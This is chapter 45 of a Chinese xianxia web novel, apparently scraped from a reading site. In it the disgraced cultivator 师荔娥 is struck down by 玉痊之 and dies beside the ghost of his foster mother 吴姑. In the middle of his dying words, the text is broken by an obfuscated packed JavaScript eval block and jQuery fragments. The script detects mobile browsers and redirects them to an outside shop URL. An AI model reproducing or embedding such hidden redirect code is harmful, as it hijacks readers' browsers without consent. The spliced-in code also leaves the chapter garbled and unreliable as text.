45. 难销恨5
作品:《如何将徒儿扳回正道》 日光下白衣翩翩出现,面容随着距离而逐渐清晰——正是玉痊之。他衣衫稍乱,显然是风尘仆仆而来。
前几日林净在得知师荔娥和玉痊之有交际后便传信回千山隐问询具体情况,得不到回应也是当是他事物繁忙所以暂时搁置而已,不成想对方竟是连日赶来此处,恰好撞上了今日这一出。
林净上前迎接,玉痊之朝她点了点头后步履不停走向师华嫦。众人视线中一道惊惶目光格外明显,他侧过头,视线冷冽看向师荔娥,双眉不自觉紧紧蹙起,厌恶之态极其明显,师荔娥欲趋步上前,步履却因那嫌恶目光硬生生钉在半途。
“不是这样的,玉大哥你听我解释……”师荔娥白了脸,他拼命摇头想要替自己辩解,但手中属于郑剑光的鲜血却在此时滴落在地。
极其轻微的声响在此时恍若惊雷,震哑了他的声音,周围在一瞬间变得死寂,心跳似乎也在这一刻逐步放缓以至消失。
“玉大哥。”
师荔娥嗓子紧绷,颤颤说出这三个字后没了声息,忐忑不安看着面前的玉痊之,等待着他的回应。
玉痊之没有理会他,先是检查了郑剑光的情况,确定了再无救治之法后对师华嫦道:“痊之莽撞,擅闯妙真门禁地还请师同修包含。非是在下有意犯禁,只是曾接到师妹传信,心中急切华陵境内安危所致,若有冒犯之处,师同修责罚便是。”
他场面话说的漂亮,又是千山隐掌门之徒,于诸多宗门中多有美誉,饶是寻常时师华嫦想挑刺也得顾及他几分面子。
何况如今,是她妙真门闹出了丑闻。
师华嫦牵动嘴角扯出抹笑,不咸不淡道:“玉同修乃无心之举,华嫦岂会深究。不过今日之事……还请您莫要四处宣扬才是。”
“这是自然,”玉痊之果断应允,他停了片刻,目光在附近转了一圈停在河面上短短一瞬后收回,垂眸拱手笑道:“是我来迟了,如今事情既已分明,我便不再打扰。”
玉痊之说着转过身似乎要带着林净几人离开,可一只手凭空伸开,拉住他的衣角阻挡了道路。
“不是这样的,是他们都在逼我啊,”师荔娥未能拦住对方的脚步,自己反被他挥开的手和衣袖击中,顿时脱了力,跪在地上伏首痛哭。他眼眸泪落不止,“我只是不想让他们看不起我……我是想让你……”
话还未说完,玉痊之冰冷打断道:
“再如何也不该害了这么多人。我不后悔当初救了你,我只后悔不该教你修行,不该真心待你。往日是我馈粮于盗,此时亦难脱身。”
玉痊之双眸像是利刃刺中了师荔娥的咽喉,将他所有要说的话都堵在喉咙里。那双眼睛再没了半分温和,有的只是无穷无尽的鄙夷和敌视。
后山的阿病一共只熟悉三人。
阿岭生下他却对他视若仇敌,吴姑爱他如子可命丧河中,还活着的玉痊之成了唯一能证明他还是正常人的人。
但现在玉痊之也恨不得他去死,好像他就不该存在这世界上、他生来就活该独身一人受尽冷眼与鄙夷一样。
怎么会变成这样。
不该是这样的……
“不是我的错,是你们逼我的,都是你们逼我的。”师荔娥喃喃自语,精神再度陷入错乱,他四处张望,却未停留在一人身上,像是在寻找什么似的。
他生在后山长在后山,四面楚歌的地方也在后山。数年之内河流不知奔了多少地方,他却如树木般无法逃离这里,忍受着狂风暴雨,永世不得解脱。
混沌间他感到树干压着在胸膛上无比窒息,树枝刺进了喉咙以至鲜血直流,树根在手指上生了根,钻破了骨头血肉,钻出皮肤,让他指节皮开肉绽,渗出无尽的痛苦。
他们看着自己痛苦,就如隔岸观火。
为什么他们无事?为什么只有他一个人狼狈至此!
“都是你们害的,都是你们害了我!”师荔娥大口喘息,大声叫喊。突然间浑身爆发出力量,他又举起剑,朝人群所在的地方胡乱戳刺。
修士此时头发凌乱,衣衫脏污,半边脸还带着血渍,丝毫看不见半分师家族人的体面。
若真论起像什么?
“阿病。”
像数年前在后山之中狼狈度日的那个阿病。区别在于当初还有个吴姑在他身边,而现在只有他独身一人站在众人的对立面。
一道道目光注视着他的丑态,无数的嫌恶一点点凝结成屏障将他裹住。
玉痊之带着遗憾的一句呼唤让师荔娥动作慢了些许,可手中剑还是顺着力道险些划中一名修士。
晴日下白光一闪,藏疫刺穿了他的肩膀,数道灵力狠狠打进他体内,师荔娥的身体就如风筝断线般飞出去数米,落在了河岸边。
“玉大哥?”师荔娥被这一击似乎又一次回归清醒,几度尝试起身未果,仰起眼不可置信地看着玉痊之。
“早知今日,你又何必当初。”玉痊之神色复杂看了他一眼,旋即垂下眼帘避开他的视线,后退几步背过身,不再理会。
师荔娥张嘴还想说些什么,可最终呕出了一口鲜血。紧接着他浑身开始颤抖起来,身躯逐渐蜷缩,血迹不停滑落滚进地里,染红了一片泥土。
剧痛使他说不出话,那一双眼睛就求助似地看向在场诸人,最终定格在白衣修士身上。
方才为了救人玉痊之才下狠手,那么现在自己性命有难,玉大哥一定不会不管的……
就像多年前一样,他会帮他的。
可他想错了,玉痊之当初帮助的是无辜受难的阿病,而不会是罪孽满身的师荔娥。
长久不见眼中人行动,师荔娥神情逐渐变得绝望,眼底光亮消失不见,浮现出一层薄薄水雾顺着脸颊滴落,霎时血泪模糊。
林净侧目不忍,而师荔娥愣了一会儿,竟是顾不得疼痛,手指深深扣进泥土中朝着河流爬去,他声音戚戚,流着泪呢喃:
“吴姑——我疼……我好疼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188788|196855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
水流不停,毫无反应,就在他音量逐渐变小乃至虚无之时,河流水势减缓,由水中浮现出一道身影,和数年前别无二致。
吴姑低头审视脚边趴着的修士,半晌才缓缓从那张极白的唇中吐出两个字:“阿,病。”
听到这两个字,在地上快没了声息的师荔娥抬起眼,喉间吟出阵阵呜咽应答,嘴中只一个劲喊疼。
吴姑发觉眼前这个家伙就是阿病,渐渐蹲身,试探着用手触碰,发觉能够接触到时,犹豫一会,用手缓缓摸着他的头。
“不疼不疼,我们乖乖的不疼。”吴姑身影在日光下显得透明,多年受困的魂魄已经不足以支持她做除这以外的什么动作了。
于是她只是一遍遍抚着他的头发,安慰道不疼,好像在自己面前的仍然是那个乖巧听话的孩子,因着受了些疼跑到她面前撒痴罢了。
吴姑耐心安抚,师荔娥起初喊着痛,到了最后却是张着嘴发不出一个字,他牢牢望着吴姑的脸,泪珠开始涌现。
“吴姑……我错了……”
他如此说着,瞳孔开始扩散,转眼就没了气息。
反观吴姑像是毫无所觉,仍旧用一只手摩挲着他的发顶,和数年前毫无区别。
多年以来河水昼夜不歇的流淌,她魂魄被迫在河中经历着数不清的日月轮转,山中岁月轮转早已淡化了过去那些事物,厚重雾霭也随之淡去消失,恢复了最真切的清明。
她恨师荔娥吗?
恨,她恨他害了她,将自己魂魄强困在后山之中不见天日,恨他作恶多端,恨他自掘坟墓。
那她还爱他吗?
……
爱。
她将他一手养大,亲眼看过他从嗷嗷待哺到蹒跚学步再到会挣着抢着帮她做事,一张脸携满了笑,一双眼月牙似的弯着。
此后的数年她看着那双眼睛逐渐被森寒阴鸷所替代,看着他一次次来到后山到自己或是阿岭面前倾诉,又看着他带着许多人去往更高处的山洞,然后那些人再也没有出现。
吴姑不明白当初的阿岭因何成为现在的模样。她想要打他骂他,提着他的耳朵骂他糊涂,甚至于想带着他一同离开世间。可她做不到,一条锁链困住了她,将她永远留在了河中,就好像永远留在了那日。
她带大的孩子害人无数,她还怎么能心安理得的爱他。
吴姑魂魄似乎又透明些许,空气中纠缠的飞尘越过她脸颊,从眼角下坠,随即飘到时刻不停的河流之中,与水融为一体,乘着水流去向别处。
“睡去吧,下辈子当个牲口,别当人了。”她的声音随风消散,回忆着脑中旋律,轻轻哼出多年前来到这里时所唱的调子。
轻而松快的曲调混在冬日北风中,赴向了暖阳。一如她辞家那一日的阳光,总是包容的,温暖的,还在等候的。
吴姑不怨阿岭他们,也不怪妙真门那些人了。
毕竟爱和恨,都是活人该纠结的。

